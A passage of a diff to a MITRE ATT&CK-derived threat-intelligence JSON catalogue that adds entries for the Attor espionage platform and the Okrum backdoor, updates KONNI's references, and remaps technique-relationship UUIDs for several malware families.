"estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "a5575606-9b85-4e3d-9cd2-40ef30e3672d", "value": "SpeakUp - S0374" }, + { + "description": "[Attor](https://attack.mitre.org/software/S0438) is a Windows-based espionage platform that has been seen in use since 2013. [Attor](https://attack.mitre.org/software/S0438) has a loadable plugin architecture to customize functionality for specific targets.(Citation: ESET Attor Oct 2019)", + "meta": { + "external_id": "S0438", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0438", + "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf" + ], + "synonyms": [ + "Attor" + ] + }, + "related": [ + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7c0f17c9-1af6-4628-9cbd-9e45482dd605", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", + "value": "Attor - S0438" + }, { "description": "[Dridex](https://attack.mitre.org/software/S0384) is a banking Trojan that has been used for financial gain. Dridex was created from the source code of the Bugat banking trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)", "meta": { @@ -30252,14 +35537,21 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30286,7 +35578,7 @@ }, "related": [ { - "dest-uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8", + "dest-uuid": "b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30307,7 +35599,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30321,7 +35613,7 @@ "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30341,13 +35633,6 @@ ], "type": "uses" }, - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", "tags": [ @@ -30356,7 +35641,14 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "633a100c-b2c9-41bf-9be5-905c1b16c825", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30367,7 +35659,258 @@ "value": "HiddenWasp - S0394" }, { - "description": "[KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. [KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes.(Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)", + "description": "[Okrum](https://attack.mitre.org/software/S0439) is a Windows backdoor that has been seen in use since December 2016 with strong links to [Ke3chang](https://attack.mitre.org/groups/G0004).(Citation: ESET Okrum July 2019)", + "meta": { + "external_id": "S0439", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0439", + "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf" + ], + "synonyms": [ + "Okrum" + ] + }, + "related": [ + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "91541e7e-b969-40c6-bbd8-1b5352ec2938", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4b6ec280-7bbb-48ff-ae59-b189520ebe83", + "value": "Okrum - S0439" + }, + { + "description": "[KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. [KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes.(Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)", "meta": { "external_id": "S0356", "mitre_platforms": [ @@ -30377,7 +35920,8 @@ "https://attack.mitre.org/software/S0356", "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html", "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", - "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/", + "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b" ], "synonyms": [ "KONNI" @@ -30392,49 +35936,49 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30455,7 +35999,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30469,7 +36013,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30497,7 +36041,63 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30531,14 +36131,14 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30559,21 +36159,21 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", + "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30587,14 +36187,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30608,7 +36208,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30668,7 +36268,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30682,14 +36282,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30717,7 +36317,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30731,21 +36331,21 @@ "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30808,7 +36408,7 @@ "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30836,7 +36436,7 @@ }, "related": [ { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30871,7 +36471,7 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30885,21 +36485,21 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30927,21 +36527,21 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc1e737c-236c-4e3b-83ba-32039a626ef8", + "dest-uuid": "d0613359-5781-4fd2-b5be-c269270be1f6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30962,7 +36562,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30976,14 +36576,14 @@ "type": "uses" }, { - "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb", + "dest-uuid": "35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31025,7 +36625,7 @@ "type": "uses" }, { - "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31053,7 +36653,7 @@ "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31067,14 +36667,14 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31088,21 +36688,14 @@ "type": "uses" }, { - "dest-uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": 